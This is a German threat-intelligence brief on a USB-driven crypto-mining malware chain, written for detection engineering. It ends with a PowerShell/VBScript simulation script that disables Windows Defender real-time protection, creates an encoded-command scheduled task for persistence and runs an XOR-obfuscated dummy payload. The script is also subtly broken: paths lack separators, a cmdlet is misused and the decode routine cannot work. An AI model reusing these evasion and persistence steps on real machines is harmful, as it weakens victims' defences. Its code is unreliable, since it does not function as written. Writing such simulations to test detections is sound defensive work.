SOC Prime Bias: Mittel

02 Dec 2025 17:53 UTC

DIRTYBULK und Freunde: USB-Malware, die Krypto-Mining-Operationen antreibt

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Folgen
DIRTYBULK und Freunde: USB-Malware, die Krypto-Mining-Operationen antreibt
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Zusammenfassung

Der Bericht beschreibt eine USB-gesteuerte Infektionskampagne, die bösartige Verknüpfungsdateien verwendet, um eine mehrstufige Malware-Kette für das Kryptowährungs-Mining auszuliefern. Die initiale Ausführung läd eine DLL namens printui.dll aus einem gefälschten System32-Verzeichnis und übergibt dann an einen Dropper (CUTFAIL), der weiter einen Downloader (HIGHREPS) und einen Backdoor (PUMPBENCH) bereitstellt. Der PUMPBENCH-Backdoor kommuniziert mit einem PostgreSQL-Server, um zusätzliche Payloads abzurufen und startet letztendlich XMRig-Miner. Der Betrieb behält die Persistenz durch Windows Defender-Ausschlüsse, geplante Aufgaben und bösartige Dienste bei.

Analyse

Mandiant-Forscher dekonstruierten die Kill-Chain und hoben vier Haupt-Malware-Familien hervor: DIRTYBULK, CUTFAIL, HIGHREPS und PUMPBENCH. Sie erfassten die Dateinamensmuster der Akteure, den Missbrauch des DLL-Side-Loading von printui.dll, Registrierungsänderungen und zugehörige Netzwerk-Indikatoren. Die Analyse kartierte auch Persistenztechniken, einschließlich geplanter Aufgaben und Dienste, die mit der DCOMLaunch Servicegruppe verbunden sind.

Minderung

Empfohlene Abwehrmaßnahmen umfassen die Blockierung der Ausführung von Verknüpfungsdateien, die von Wechselmedien stammen, die Überwachung von Befehlen, die Windows Defender-Ausschlüsse hinzufügen, das Erkennen von verdächtigen printui.dll-Sideloading-Aktivitäten und das Suchen nach Diensten oder geplanten Aufgaben, die zufällige sechsstellige Namen verwenden. Die Anwendung von Netzwerksteuerungen gegen bekannte bösartige Domains und DoH-Auflöser kann die Kommando-und-Kontroll-Kanäle weiter begrenzen.

Reaktion

Sobald entdeckt, isolieren Sie den betroffenen Host, entfernen Sie die bösartige DLL und verwandte Komponenten, löschen Sie die störende geplante Aufgabe und die Dienst-Einträge, und stellen Sie die Windows Defender-Einstellungen wieder her, indem Sie Ausschlüsse löschen. Führen Sie umfassende forensische Scans durch, um verbleibende Payloads aufzudecken und Verbindungen zur identifizierten PostgreSQL C2-Infrastruktur nachzuverfolgen. Aktualisieren Sie schließlich die Erkennungsinformationen, um die beobachtete Kommandozeilen-Nutzung und das Erstellen von Dateien abzudecken.

Angriffsfluss

Simulation Execution

Voraussetzung: Der Telemetrie- & Basislinien-Vorabflug-Check muss bestanden haben.

Begründung: Dieser Abschnitt beschreibt die präzise Ausführung der Angreifertechnik (TTP), die entwickelt wurde, um die Erkennungsregel auszulösen. Die Befehle und Erzählungen MÜSSEN direkt die identifizierten TTPs reflektieren und darauf abzielen, die genaue Telemetrie zu erzeugen, die von der Erkennungstechnik erwartet wird. Abstrakte oder nicht verwandte Beispiele führen zu Fehldiagnosen.

  • Angriffserzählung & Befehle:

    1. Phase 1 – Bösartiges VBScript auf das kompromittierte USB-Laufwerk (z.B., aufspielenE:payload.vbs). Das Skript deaktiviert den Echtzeitschutz von Windows Defender mithilfe vonAdd-MpPreference, verschlüsselt eine Nutzlast mit einer XOR-Routine und erstellt eine geplante Aufgabe zur Persistenz.

    2. Phase 2 – Führen Sie das Skript über wscript.exe aus, indem Sie den Persistenz-Kommandozeilenbefehl direkt übergeben (um die konjunktive Bedingung der Regel zu erfüllen).

    3. Phase 3 – Das Skript ruft intern PowerShell auf, um die verschlüsselte Nutzlast auszuführen, was die „Infektionskette“ demonstriert.

    4. Phase 4 – Nach der Ausführung beseitigt der Angreifer Artefakte (entfernt das Skript, löscht die geplante Aufgabe).

  • Regression Test Script:

    # ------------------------------------------------------------
    # Regressionstest – Malware-Infektionskettensimulation
    # ------------------------------------------------------------
    $scriptPath = "$env:TEMPpayload.vbs"
    $taskName  = "WinUpdateTask"
    $xorKey    = 0x5A
    
    # -- 1. Erstellen Sie eine mit XOR verschlüsselte Dummy-Nutzlast --------------------------------
    $plainPayload = "calc.exe"
    $bytes = [System.Text.Encoding]::Unicode.GetBytes($plainPayload)
    for ($i = 0; $i -lt $bytes.Length; $i++) {
        $bytes[$i] = $bytes[$i] -bxor $xorKey
    }
    $encrypted = [Convert]::ToBase64String($bytes)
    
    # -- 2. Bösartiges VBScript schreiben -------------------------------------------
    @"
    ' Bösartiges VBScript – Infektionskette
    Set sh = CreateObject("WScript.Shell")
    ' Deaktivieren des Echtzeitschutzes
    sh.Run "powershell -Command `"Add-MpPreference -DisableRealtimeMonitoring $true`"", 0, True
    
    ' Erstellen einer geplanten Aufgabe zur Persistenz
    sh.Run "schtasks /Create /SC ONLOGON /TN $taskName /TR `"powershell -EncodedCommand $([Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes('Start-Process `"$env:windirsystem32cmd.exe`" /c echo $encrypted ^| powershell -EncodedCommand'))`"", 0, True
    
    ' Entschlüsseln und Ausführen der Nutzlast
    Dim encData, decData, i
    encData = "$encrypted"
    decData = ""
    For i = 1 To Len(encData) Step 4
        ch = ChrW(CInt("&H" & Mid(encData, i, 4)) Xor $xorKey)
        decData = decData & ch
    Next
    sh.Run decData, 0, False
    "@ | Set-Content -Encoding ASCII $scriptPath
    
    # -- 3. Führen Sie das Skript über wscript.exe aus (löst die Regel aus) -------------
    wscript.exe "$scriptPath" /B
    
    # -- 4. (Optional) Warten Sie ein paar Sekunden, bis die Aufgabe ausgelöst wird ----------------
    Start-Sleep -Seconds 10
    
    # ------------------------------------------------------------
    # Bereinigung – Entfernen Sie das Skript und die geplante Aufgabe
    # ------------------------------------------------------------
    Remove-Item $scriptPath -Force
    schtasks /Delete /TN $taskName /F
  • Bereinigungskommandos:

    # Entfernen Sie verbleibende geplante Aufgaben (falls noch vorhanden)
    schtasks /Delete /TN "WinUpdateTask" /F
    
    # Entfernen Sie verbleibende Skriptdateien
    Remove-Item "$env:TEMPpayload.vbs" -ErrorAction SilentlyContinue
    
    # Reaktivieren Sie den Echtzeitschutz
    powershell -Command "Add-MpPreference -DisableRealtimeMonitoring $false"